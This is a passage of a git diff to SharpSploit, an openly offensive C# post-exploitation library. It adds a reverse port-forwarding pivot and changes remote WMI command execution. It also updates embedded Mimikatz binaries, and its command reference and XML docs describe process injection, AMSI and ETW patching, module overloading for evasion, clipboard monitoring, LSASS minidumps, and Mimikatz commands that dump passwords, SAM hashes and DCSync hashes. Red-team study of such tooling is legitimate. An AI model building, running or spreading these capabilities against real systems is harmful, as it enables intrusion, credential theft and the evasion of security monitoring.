System.Collections.Generic; +using SharpSploit.Generic; + namespace SharpSploit.LateralMovement { /// @@ -21,8 +23,8 @@ public class WMI /// Command to execute on remote system. /// Username to authenticate as to the remote system. /// Password to authenticate the user. - /// Bool. True if execution succeeds, false otherwise. - public static bool WMIExecute(string ComputerName, string Command, string Username = "", string Password = "") + /// WmiExecuteResult, null on failure. + public static WmiExecuteResult WMIExecute(string ComputerName, string Command, string Username = "", string Password = "") { ConnectionOptions options = new ConnectionOptions(); if ((Username != null && Username != "") && Password != null) @@ -44,15 +46,17 @@ public static bool WMIExecute(string ComputerName, string Command, string Userna ManagementBaseObject outParams = wmiProcess.InvokeMethod("Create", inParams, null); - Console.WriteLine("Win32_Process Create returned: " + outParams["returnValue"].ToString()); - Console.WriteLine("ProcessID: " + outParams["processId"].ToString()); - return true; + return new WmiExecuteResult + { + ReturnValue = outParams["returnValue"].ToString(), + ProcessID = outParams["processId"].ToString() + }; } catch (Exception e) { Console.Error.WriteLine("WMI Exception:" + e.Message); + return null; } - return false; } /// @@ -63,9 +67,27 @@ public static bool WMIExecute(string ComputerName, string Command, string Userna /// Username to authenticate as to the remote system. /// Password to authenticate the user. /// Bool. True if execution succeeds, false otherwise. - public static List WMIExecute(List ComputerNames, string Command, string Username, string Password) + public static SharpSploitResultList WMIExecute(List ComputerNames, string Command, string Username, string Password) { - return ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password)).ToList(); + SharpSploitResultList results = new SharpSploitResultList(); + results.AddRange(ComputerNames.Select(CN => WMIExecute(CN, Command, Username, Password))); + return results; + } + + public sealed class WmiExecuteResult : SharpSploitResult + { + public string ReturnValue { get; set; } = ""; + public string ProcessID { get; set; } = ""; + protected internal override IList ResultProperties + { + get + { + return new List { + new SharpSploitResultProperty { Name = "ReturnValue", Value = this.ReturnValue }, + new SharpSploitResultProperty { Name = "ProcessID", Value = this.ProcessID } + }; + } + } } } -} +} \ No newline at end of file diff --git a/SharpSploit/Misc/Utilities.cs b/SharpSploit/Misc/Utilities.cs index 02ec08b..fc3084c 100644 --- a/SharpSploit/Misc/Utilities.cs +++ b/SharpSploit/Misc/Utilities.cs @@ -7,11 +7,38 @@ using System.IO.Compression; using System.Linq; using System.Reflection; +using System.Security.Cryptography.X509Certificates; namespace SharpSploit.Misc { public static class Utilities { + /// + /// Checks that a file is signed and has a valid signature. + /// + /// Path of file to check. + /// + public static bool FileHasValidSignature(string FilePath) + { + X509Certificate2 FileCertificate; + try + { + X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); + FileCertificate = new X509Certificate2(signer); + } + catch + { + return false; + } + + X509Chain CertificateChain = new X509Chain(); + CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; + CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; + CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; + + return CertificateChain.Build(FileCertificate); + } + private static string[] manifestResources = Assembly.GetExecutingAssembly().GetManifestResourceNames(); public static byte[] GetEmbeddedResourceBytes(string resourceName) @@ -82,5 +109,18 @@ public static bool Is64Bit { get { return IntPtr.Size == 8; } } + + public static string ConvertFileLengthForDisplay(long size) + { + string result = size.ToString(); + + if (size < 1024) { result = $"{size}b"; } + else if (size > 1024 && size <= 1048576) { result = $"{size / 1024}kb"; } + else if (size > 1048576 && size <= 1073741824) { result = $"{size / 1048576}mb"; } + else if (size > 1073741824 && size <= 1099511627776) { result = $"{size / 1073741824}gb"; } + else if (size > 1099511627776) { result = $"{size / 1099511627776}tb"; } + + return result; + } } } \ No newline at end of file diff --git a/SharpSploit/Pivoting/ReversePortForwarding.cs b/SharpSploit/Pivoting/ReversePortForwarding.cs new file mode 100644 index 0000000..3e8c604 --- /dev/null +++ b/SharpSploit/Pivoting/ReversePortForwarding.cs @@ -0,0 +1,237 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System.Net; +using System.Linq; +using System.Threading; +using System.Net.Sockets; +using System.Collections.Generic; + +using SharpSploit.Generic; + +namespace SharpSploit.Pivoting +{ + /// + /// ReversePortForwarding is a class that allows the addition and removal of Reverse Port Forwards. + /// + public class ReversePortForwarding + { + public class ReversePortForward + { + public IPAddress BindAddress { get; set; } + public int BindPort { get; set; } + public IPAddress ForwardAddress { get; set; } + public int ForwardPort { get; set; } + } + + private static List _reversePortForwards = new List(); + private static Dictionary _boundSockets = new Dictionary(); + + + /// + /// Creates a new Reverse Port Forward. + /// + /// The port to bind on the local system. + /// The IP Address or DNS name to forward traffic to. + /// The port to forward traffic to. + /// Bool. + /// Daniel Duggan (@_RastaMouse) + public static bool CreateReversePortForward(int BindPort, string ForwardAddress, int ForwardPort) + { + // If ForwardHost is not a valid IP, try to resolve it as DNS. + if (!IPAddress.TryParse(ForwardAddress, out IPAddress forwardAddress)) + { + try + { + var ipHostInfo = Dns.GetHostEntry(ForwardAddress); + forwardAddress = ipHostInfo.AddressList[0]; + } + catch + { + return false; + } + } + return CreateReversePortForward(BindPort, forwardAddress, ForwardPort); + } + + /// + /// Creates a new Reverse Port Forward. + /// + /// The port to bind on the local system. + /// The IP Address or DNS name to forward traffic to. + /// The port to forward traffic to. + /// Bool. + /// Daniel Duggan (@_RastaMouse) + public static bool CreateReversePortForward(int BindPort, IPAddress ForwardAddress, int ForwardPort) + { + // Check if bindPort is not already bound. + if (_boundSockets.ContainsKey(BindPort)) + { + return false; + } + + // Bind the sockets + Socket boundSocket = BindSocket(IPAddress.Any, BindPort); + if (boundSocket == null) + { + return false; + } + + ReversePortForward newReversePortForward = new ReversePortForward + { + BindAddress = IPAddress.Any, + BindPort = BindPort, + ForwardAddress = ForwardAddress, + ForwardPort = ForwardPort + }; + + // Add to Lists + _reversePortForwards.Add(newReversePortForward); + _boundSockets[BindPort] = boundSocket; + + // Kick off client sockets in new thread. + new Thread(() => CreateClientSocketThread(boundSocket, ForwardAddress, ForwardPort)).Start(); + return true; + } + + /// + /// Deletes an active Reverse Port Forward. + /// + /// The bind port of the Reverse Port Forward. + /// Bool. + /// Daniel Duggan (@_RastaMouse) + public static bool DeleteReversePortForward(int BindPort) + { + if (!_boundSockets.TryGetValue(BindPort, out Socket socket)) + { + return false; + } + + try + { + try { socket.Shutdown(SocketShutdown.Both); } + catch (SocketException) { } + socket.Close(); + + _boundSockets.Remove(BindPort); + + ReversePortForward reversePortForward = _reversePortForwards.FirstOrDefault(r => r.BindPort.Equals(BindPort)); + _reversePortForwards.Remove(reversePortForward); + + return true; + } + catch { } + + return false; + } + + /// + /// Gets a list of active Reverse Port Forwards. + /// + /// A SharpSploitResultList of ReversePortFwdResult + /// Daniel Duggan (@_RastaMouse) + public static SharpSploitResultList GetReversePortForwards() + { + SharpSploitResultList reversePortForwards = new SharpSploitResultList(); + + foreach (ReversePortForward rportfwd in _reversePortForwards) + { + reversePortForwards.Add(new ReversePortFwdResult + { + BindAddresses = rportfwd.BindAddress.ToString(), + BindPort = rportfwd.BindPort, + ForwardAddress = rportfwd.ForwardAddress.ToString(), + ForwardPort = rportfwd.ForwardPort + }); + } + return reversePortForwards; + } + + /// + /// Delete all active Reverse Port Forwards. + /// + /// Daniel Duggan (@_RastaMouse) + public static void FlushReversePortFowards() + { + try + { + foreach (Socket socket in _boundSockets.Values) + { + try { socket.Shutdown(SocketShutdown.Both); } + catch (SocketException) { } + socket.Close(); + } + + _boundSockets.Clear(); + _reversePortForwards.Clear(); + } + catch { } + } + + private static Socket BindSocket(IPAddress BindAddress, int BindPort) + { + IPEndPoint localEP = new IPEndPoint(BindAddress, BindPort); + Socket socket = new Socket(BindAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + try + { + socket.Bind(localEP); + socket.Listen(10); + } + catch (SocketException) { } + return socket; + } + + private static void CreateClientSocketThread(Socket BoundSocket, IPAddress ForwardAddress, int ForwardPort) + { + IPEndPoint remoteEP = new IPEndPoint(ForwardAddress, ForwardPort); + + while (true) + { + byte[] boundBuffer = new byte[1024]; + byte[] clientBuffer = new byte[1048576]; + + try + { + // Receive data on bound socket + Socket handler = BoundSocket.Accept(); + handler.Receive(boundBuffer); + + // Create new client socket + using (Socket clientSocket = new Socket(ForwardAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp)) + { + try + { + clientSocket.Connect(remoteEP); + clientSocket.Send(boundBuffer); + clientSocket.Receive(clientBuffer); + } + catch (SocketException) { } + } + handler.Send(clientBuffer); + } + catch { } + } + } + + public sealed class ReversePortFwdResult : SharpSploitResult + { + public string BindAddresses { get; set; } + public int BindPort { get; set; } + public string ForwardAddress { get; set; } + public int ForwardPort { get; set; } + protected internal override IList ResultProperties + { + get + { + return new List { + new SharpSploitResultProperty { Name = "BindAddresses", Value = this.BindAddresses }, + new SharpSploitResultProperty { Name = "BindPort", Value = this.BindPort }, + new SharpSploitResultProperty { Name = "ForwardAddress", Value = this.ForwardAddress }, + new SharpSploitResultProperty { Name = "ForwardPort", Value = this.ForwardPort } + }; + } + } + } + } +} \ No newline at end of file diff --git a/SharpSploit/Resources/powerkatz_x64.dll b/SharpSploit/Resources/powerkatz_x64.dll index 7be2cdd..6d2e993 100644 Binary files a/SharpSploit/Resources/powerkatz_x64.dll and b/SharpSploit/Resources/powerkatz_x64.dll differ diff --git a/SharpSploit/Resources/powerkatz_x64.dll.comp b/SharpSploit/Resources/powerkatz_x64.dll.comp index ef18ed5..04ce7bd 100644 Binary files a/SharpSploit/Resources/powerkatz_x64.dll.comp and b/SharpSploit/Resources/powerkatz_x64.dll.comp differ diff --git a/SharpSploit/Resources/powerkatz_x86.dll b/SharpSploit/Resources/powerkatz_x86.dll index bad21d6..d4d93d9 100644 Binary files a/SharpSploit/Resources/powerkatz_x86.dll and b/SharpSploit/Resources/powerkatz_x86.dll differ diff --git a/SharpSploit/Resources/powerkatz_x86.dll.comp b/SharpSploit/Resources/powerkatz_x86.dll.comp index c0234b2..1790c52 100644 Binary files a/SharpSploit/Resources/powerkatz_x86.dll.comp and b/SharpSploit/Resources/powerkatz_x86.dll.comp differ diff --git a/SharpSploit/SharpSploit - Quick Command Reference.md b/SharpSploit/SharpSploit - Quick Command Reference.md index 422f138..61213aa 100644 --- a/SharpSploit/SharpSploit - Quick Command Reference.md +++ b/SharpSploit/SharpSploit - Quick Command Reference.md @@ -70,12 +70,20 @@ * `StartKeylogger()` - Starts a keylogger that gets keystrokes for a specified amount of time. +### SharpSploit.Enumeration.Clipboard + +* `StartClipboardMonitor()` - Starts a clipboard monitor that records clipboard changes for a specified amount of time. + ## SharpSploit.Evastion ### SharpSploit.Evasion.Amsi * `PatchAmsiScanBuffer()` - Patch the AmsiScanBuffer function in amsi.dll to disable the AMSI for the current process. +### SharpSploit.Evasion.ETW + +* `PatchETWEventWrite()` - Patch the ETWEventWrite function in ntdll.dll to disable ETW for the current process. + ## SharpSploit.Execution ### SharpSploit.Execution.Assembly @@ -91,8 +99,12 @@ ### SharpSploit.Execution.Shell * `PowerShellExecute()` - Executes specified PowerShell code using System.Management.Automation.dll and bypasses AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging). -* `ShellExecute()` - Executes a specified Shell command, optionally with an alternative username and password. Equates to `ShellExecuteWithPath(ShellCommand, "C:\\WINDOWS\\System32")` -* `ShellExecuteWithPath()` - Executes a specified Shell command from a specified directory, optoinally with an alternative username and password. +* `CreateProcess()` - Creates a specified process, optionally with an alternative username and password. Uses the CreateProcess API and returns the output of the process. +* `CreateCmdProcess()` - Creates a specified cmd.exe process, optionally with an alternative username and password. Uses the CreateProcess API and returns the output of the process. +* `ShellExecute()` - Executes a specified shell command, optionally with an alternative username and password. Uses the ShellExecuteEx API and does not return the output of the command. +* `ShellCmdExecute()` - Executes a specified cmd.exe shell command, optionally with an alternative username and password. Uses the ShellExecuteEx API and does not return the output of the command. +* `Execute()` - Executes a specified command, optionally with an alternative username and password. May return the output of the command, depending upon the value of the UseShellExecute parameter. +* `CreateProcessWithToken()` - Creates a specified process with an impersonated token. Uses the CreateProcessWithToken API and returns the output of the process. (Requires Admin) ### SharpSploit.Execution.ShellCode @@ -104,11 +116,27 @@ The `SharpSploit.Execution.ShellCode` class includes the following primary funct ### SharpSploit.Execution.Win32 -Win32 contains a large library of PInvoke signatures for Win32 API functions. +Win32 contains a library of enums and structures for Win32 API functions that can be used with PlatformInvoke or DynamicInvoke function execution. + +### SharpSploit.Execution.Native + +Native contains a library of enums and structures for Native NT API functions that can be used PlatformInvoke or DynamicInvoke function execution. + +## SharpSploit.Execution.PlatformInvoke + +The `SharpSploit.Execution.PlatformInvoke` namespace contains classes for invoking unmanaged exported DLL functions from the Win32 API or the Native NT API. + +### SharpSploit.Execution.PlatformInvoke.Win32 + +The `SharpSploit.Execution.PlatformInvoke.Win32` class contains a library of PlatformInvoke signatures for Win32 API functions. + +### SharpSploit.Execution.PlatformInvoke.Native + +The `SharpSploit.Execution.PlatformInvoke.Native` class contains a library of PlatformInvoke signatures for NT API functions. ## SharpSploit.Execution.DynamicInvoke -The `SharpSploit.Execution.DynamicInvoke` namespaces contains classes for dynamically invoking unmanaged DLL functions. Allows the user to call functions in Win32, API, or third-party APIs without using P/Invoke. This avoids suspicious imports and can help evade static analysis tools. It also assists in invoking unmanaged code from function pointers, which can be used to invoke shellcode, exported functions from manually mapped DLLs, or many other use cases. +The `SharpSploit.Execution.DynamicInvoke` namespace contains classes for dynamically invoking unmanaged DLL functions. Allows the user to call functions in Win32, the NT API, or third-party APIs without using P/Invoke. This avoids suspicious imports and can help evade static analysis tools. It also assists in invoking unmanaged code from function pointers, which can be used to invoke shellcode, exported functions from manually mapped DLLs, direct syscall execution, or many other use cases. Helper functions are also included for manually mapping PE modules in a variety of ways, including Module Overloading. Function prototypes for delegates are much less forgiving than P/Invoke. Data types used as parameters must have exactly the same format in memory as the unmanaged function expects, whereas P/Invoke is forgiving and lets you use data types that are close but not the same. There is no existing library of delegates that is verified to be compatable with the Win32 and NT APIs. As such, the library of delegates in SharpSploit will be updated over time as they are discovered, tested, and used by SharpSploit commands. @@ -118,7 +146,7 @@ The `SharpSploit.Execution.DyanmicInvoke.Win32` class contains a library of Dyan ### SharpSploit.Execution.DynamicInvoke.Native -The `SharpSploit.Execution.DyanmicInvoke.Win32` class contains a library of DyanmicInvoke signatures for NT API functions. +The `SharpSploit.Execution.DyanmicInvoke.Native` class contains a library of DyanmicInvoke signatures for NT API functions. ### SharpSploit.Execution.DynamicInvoke.Generic @@ -126,10 +154,68 @@ The `SharpSploit.Execution.DynamicInvoke.Generic` class contains helper function * `DynamicAPIInvoke()` - Dynamically invokes a specified API call from a DLL on disk. * `DynamicFunctionInvoke()` - Dynamically invokes a function at a specified pointer. -* `LoadModuleFromDisk()` - Recolves LdrLoadDll and uses that function to load a DLL from disk. +* `LoadModuleFromDisk()` - Resolves `LdrLoadDll` and uses that function to load a DLL from disk. * `GetLibraryAddress()` - Helper function that obtains the pointer to a function using in-memory export parsing. * `GetLoadedModuleAddress()` - Gets the base address of a module loaded by the current process. +* `GetPebLdrModuleEntry()` - Helper for getting the base address of a module loaded by the current process. This base address could be passed to `GetProcAddress`/`GetNativeExportAddress`/`LdrGetProcedureAddress` or it could be used for manual export parsing. +* `GetAPIHash()` - Gets a HMAC-MD5 hash for unique hash based API lookups. * `GetExportAddress()` - Gets the address of an exported function given the base address of a module. +* `GetNativeExportAddress()` - Given a module base address, resolve the address of a function by calling `LdrGetProcedureAddress`. +* `GetPeMetaData()` - Retrieve PE header information from the module base pointer. +* `GetApiSetMapping()` - Resolve host DLL for API Set DLL (Win10+). +* `CallMappedPEModule()` - Call a manually mapped PE by its EntryPoint. +* `CallMappedDLLModule()` - Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH. +* `CallMappedDLLModuleExport()` - Call a manually mapped DLL by Export. +* `GetSyscallStub()` - Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll. + +## SharpSploit.Execution.ManualMap + +The `SharpSploit.Execution.ManualMap.Map` class contains helper functions for manually mapping PE modules. + +* `MapModuleFromDisk()` - Maps a module from disk into a Section using `NtCreateSection`. +* `AllocateFileToMemory()` - Allocate file to memory, either from disk or from a byte array. +* `RelocateModule()` - Relocates a module in memory. +* `MapModuleToMemory()` - Manually map module into current process. +* `SetModuleSectionPermissions()` - Set correct module section permissions. +* `RewriteModuleIAT()` - Rewrite IAT for manually mapped module. +* `FreeModule()` - Free a manually mapped module + +The `SharpSploit.Execution.ManualMap.Overload` class contains helper functions for Module Overloading. + +* `FindDecoyModule()` - Locate a signed module with a minimum size which can be used for overloading. +* `OverloadModule()` - Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. + +## SharpSploit.Execution.Injection + +The `SharpSploit.Execution.Injection` namespace contains classes for modular process injection components that can be combined to build custom injectors. An `AllocationTechnique` makes a `PayloadType` available to the target process. An `ExecutionTechnique` executes a `PayloadType` that is present in memory within a target process. + +### SharpSploit.Execution.Injection.AllocationTechnique + +The `SharpSploit.Execution.Injection.AllocationTechnique` class is an abstract parent class providing the requirements for all allocation components. + +### SharpSploit.Execution.Injection.SectionMapAllocationTechnique + +The `SharpSploit.Execution.Injection.SectionMapAllocationTechnique` class inherits from `AllocationTechnique` and is an Allocation component that allocates a payload to a target process using a locally-written, remotely-mapped shared memory section. + +### SharpSploit.Execution.Injection.VirtualAllocAllocationTechnique + +The `SharpSploit.Execution.Injection.VirtualAllocAllocationTechnique` class inherits from `AllocationTechnique` and is an Allocation component that allocates a payload to a target process using the VirtualAlloc and WriteProcessMemory APIs. + +### SharpSploit.Execution.Injection.ExecutionTechnique + +The `SharpSploit.Execution.Injection.ExecutionTechnique` class is an abstract parent class providing the requirements for all execution components. + +### SharpSploit.Execution.Injection.RemoteThreadCreate + +The `SharpSploit.Execution.Injection.RemoteThreadCreate` class inherits from `ExecutionTechnique` and is an Execution component that executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. + +### SharpSploit.Execution.Injection.PayloadType + +The `SharpSploit.Execution.Injection.PayloadType` class is an abstract parent class providing the requirements for all types of payloads. Allocation and Execution components may behave differently for each subclass of `PayloadType`. + +### SharpSploit.Execution.Injection.Injector + +The `SharpSploit.Execution.Injection.Injector` class provides static functions for performing injection using a combination of Allocation and Execution components, along with a Payload. ## SharpSploit.LateralMovement @@ -153,4 +239,4 @@ The `SharpSploit.Execution.DynamicInvoke.Generic` class contains helper function ### SharpSploit.LateralMovement.PowerShellRemoting -* `InvokeCommand()` - Invoke a PowerShell command on a remote machine. \ No newline at end of file +* `InvokeCommand()` - Invoke a PowerShell command on a remote machine. diff --git a/SharpSploit/SharpSploit.xml b/SharpSploit/SharpSploit.xml index d1d9173..75867cb 100644 --- a/SharpSploit/SharpSploit.xml +++ b/SharpSploit/SharpSploit.xml @@ -13,42 +13,47 @@ Mimikatz is a tool for playing with credentials in Windows, written by Benjamin Delpy (@gentilkiwi). (Found at https://github.com/gentilkiwi/mimikatz). - SharpSploit's PE Loader is adapted from work by Casey Smith (@subtee). (No longer available at original location.) - This wrapper class is adapted from Chris Ross (@xorrior)'s implementation. (Found - at https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader) + This wrapper class is adapted from Chris Ross (@xorrior)'s implementation, converted by (@TheRealWover) to use the Manual Mapping API. - Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command. + Loads the Mimikatz PE and executes a chosen Mimikatz command. Mimikatz command to be executed. Mimikatz output. + + + Loads the Mimikatz PE and executes the Mimikatz command to get some coffee. + Equates to `Command("coffee")`. + + Mimikatz output. + - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatzcommand to retrieve plaintext + Loads the Mimikatz PE and executes the Mimikatz command to retrieve plaintext passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin) Mimikatz output. - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve password hashes + Loads the Mimikatz PE and executes the Mimikatz command to retrieve password hashes from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin) Mimikatz output. - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve LSA secrets + Loads the Mimikatz PE and executes the Mimikatz command to retrieve LSA secrets stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin) Mimikatz output. - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Domain + Loads the Mimikatz PE and executes the Mimikatz command to retrieve Domain Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`. (Requires Admin) @@ -56,20 +61,20 @@ - Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Wdigest + Loads the Mimikatz PE and executes the Mimikatz command to retrieve Wdigest credentials from registry. Equates to `Command("sekurlsa::wdigest")`. Mimikatz output. - Loads the Mimikatz PE with `PE.Load()` and executes each of the builtin local commands (not DCSync). (Requires Admin) + Loads the Mimikatz PE and executes each of the builtin local commands (not DCSync). (Requires Admin) Mimikatz output. - Loads the Mimikatz PE with `PE.Load()` and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) + Loads the Mimikatz PE and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) Username to retrieve NTLM hash for. "All" for all domain users. Optionally specify an alternative fully qualified domain name. Default is current domain. @@ -78,7 +83,7 @@ - Loads the Mimikatz PE with `PE.Load()` and executes the "pth" module to start a new process + Loads the Mimikatz PE and executes the "pth" module to start a new process as a user using an NTLM password hash for authentication. Username to authenticate as. @@ -97,7 +102,7 @@ at https://github.com/0xbadjuju/Tokenvator). - + Creates the Tokens class, attempts to obtain the current process' token, and obtain the SeDebugPrivilege. @@ -198,6 +203,26 @@ Privilege to enable. True if enabling Token succeeds, false otherwise. + + + Clipboard allows for the monitoring of Clipboard text content. + + + + + Starts a clipboard monitor + + Nick Muir (@_shellfarmer) + String containing the captured clipboard contents, along with identification of what window they were copied from. + The amount of time in seconds the clipboard monitor should run for before returning data. + + + + Gets the active window title of the window keystrokes are being entered in. + + Scottie Austin (@checkymander) + Title of the active window. + Domain is a library for domain enumeration that can be used to search for and query for information from @@ -716,7 +741,8 @@ Process ID of the process to generate a minidump for. Path to write output file in. Defaults to the current directory. - Filename to ouput the minidump to. + Filename to output the minidump to. + True if minidump succeeds, false otherwise. Authored by Justin Bui (@youslydawg). @@ -729,6 +755,7 @@ Name of the process to generate a minidump for. Path to write output file in. Defaults to the current directory. Filename to ouput the minidump to. + True if minidump succeeds, false otherwise. Authored by Justin Bui (@youslydawg). @@ -741,10 +768,70 @@ Process to generate a minidump for. Path to write output file in. Defaults to the current directory. Filename to ouput the minidump to. + True if minidump succeeds, false otherwise. Authored by Justin Bui (@youslydawg). + + + Auxiliary function for MiniDrumpWriteDump callbacks. + + + + + True if minidump succeeds, false otherwise. + + Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + Code adapted from https://github.com/b4rtik/SharpMiniDump + and https://github.com/mjsabby/CopyOnWriteDump + + + + + Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + Minimum supported Windows: Windows 8.1+ and Windows Server 2012+ + + Process ID of the process to generate a minidump for. + Path to write output file in. Defaults to the current directory. + Filename to ouput the minidump to. + True if snapshut dump succeeds, false otherwise. + + Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + Code adapted from https://github.com/b4rtik/SharpMiniDump + and https://github.com/mjsabby/CopyOnWriteDump + + + + + Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + Minimum supported Windows: Windows 8.1+ and Windows Server 2012+ + + Name of the process to generate a minidump for. + Path to write output file in. Defaults to the current directory. + Filename to ouput the minidump to. + True if snapshut dump succeeds, false otherwise. + + Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + Code adapted from https://github.com/b4rtik/SharpMiniDump + and https://github.com/mjsabby/CopyOnWriteDump + + + + + Creates a snapshot (PssCaptureSnapshot) of a process and dumps it (MiniDumpWriteDump). + Minimum supported Windows versions: Windows 8.1+ and Windows Server 2012+ + + Process to generate a minidump for. + Path to write output file in. Defaults to the current directory. + Filename to ouput the minidump to. + True if snapshut dump succeeds, false otherwise. + + Authored by Simone Salucci (@saim1z) and Daniel López (@attl4s). + Code adapted from https://github.com/b4rtik/SharpMiniDump + and https://github.com/mjsabby/CopyOnWriteDump + + Gets the hostname of the system. @@ -790,6 +877,12 @@ Relative or absolute path to new working directory. + + + Gets information about current drives. + + SharpSploitResultList of DriveInfoResults + ProcessResult represents a running process, used with the GetProcessList() function. @@ -805,6 +898,11 @@ DaclResult represents a DACL of a file or directory on disk, used with the GetDacl() function. + + + DriveInfoResult represents information about a drive. + + Keylogger allows for the monitoring of user keystrokes. @@ -1108,6 +1206,12 @@ Credit to Adam Chester (@_xpn_). + + + ETW is a class for manipulating Event Tracing for Windows (ETW). + + + Assembly is a library for loading .NET assemblies and executing methods contained within them. @@ -1165,7 +1269,7 @@ - Generic is class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious + Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime. @@ -1208,14 +1312,56 @@ Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. IntPtr for the desired function. + + + Helper for getting the pointer to a function from a DLL loaded by the process. + + Ruben Boonen (@FuzzySec) + The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). + Ordinal of the exported procedure. + Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. + IntPtr for the desired function. + + + + Helper for getting the pointer to a function from a DLL loaded by the process. + + Ruben Boonen (@FuzzySec) + The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). + Hash of the exported procedure. + 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. + IntPtr for the desired function. + - Helper for getting the base address of a module loaded by the current process. This base address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for manual export parsing. + Helper for getting the base address of a module loaded by the current process. This base + address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for + manual export parsing. This function uses the .NET System.Diagnostics.Process class. + + Ruben Boonen (@FuzzySec) + The name of the DLL (e.g. "ntdll.dll"). + IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. + + + + Helper for getting the base address of a module loaded by the current process. This base + address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for + manual export parsing. This function parses the _PEB_LDR_DATA structure. Ruben Boonen (@FuzzySec) The name of the DLL (e.g. "ntdll.dll"). IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. + + + Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups. + + Ruben Boonen (@FuzzySec) + API name to hash. + 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + string, the computed MD5 hash value. + Given a module base address, resolve the address of a function by manually walking the module export table. @@ -1225,6 +1371,97 @@ The name of the export to search for (e.g. "NtAlertResumeThread"). IntPtr for the desired function. + + + Given a module base address, resolve the address of a function by manually walking the module export table. + + Ruben Boonen (@FuzzySec) + A pointer to the base address where the module is loaded in the current process. + The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). + IntPtr for the desired function. + + + + Given a module base address, resolve the address of a function by manually walking the module export table. + + Ruben Boonen (@FuzzySec) + A pointer to the base address where the module is loaded in the current process. + Hash of the exported procedure. + 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788). + IntPtr for the desired function. + + + + Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. + + Ruben Boonen (@FuzzySec) + A pointer to the base address where the module is loaded in the current process. + The name of the export to search for (e.g. "NtAlertResumeThread"). + IntPtr for the desired function. + + + + Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress. + + Ruben Boonen (@FuzzySec) + A pointer to the base address where the module is loaded in the current process. + The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx). + IntPtr for the desired function. + + + + Retrieve PE header information from the module base pointer. + + Ruben Boonen (@FuzzySec) + Pointer to the module base. + PE.PE_META_DATA + + + + Resolve host DLL for API Set DLL. + + Ruben Boonen (@FuzzySec) + Dictionary, a combination of Key:APISetDLL and Val:HostDLL. + + + + Call a manually mapped PE by its EntryPoint. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + void + + + + Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + void + + + + Call a manually mapped DLL by Export. + + Ruben Boonen (@FuzzySec) + Module meta data struct (PE.PE_META_DATA). + Base address of the module in memory. + The name of the export to search for (e.g. "NtAlertResumeThread"). + Prototype for the function, represented as a Delegate object. + Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. + Specify whether to invoke the module's entry point. + void + + + + Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll. + + Ruben Boonen (@FuzzySec) + The name of the function to search for (e.g. "NtAlertResumeThread"). + IntPtr, Syscall stub + Contains function prototypes and wrapper functions for dynamically invoking NT API Calls. @@ -1247,8 +1484,8 @@ pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx)); // Invoke NtCreateThreadEx using the delegate - createThread(ref threadHandle, 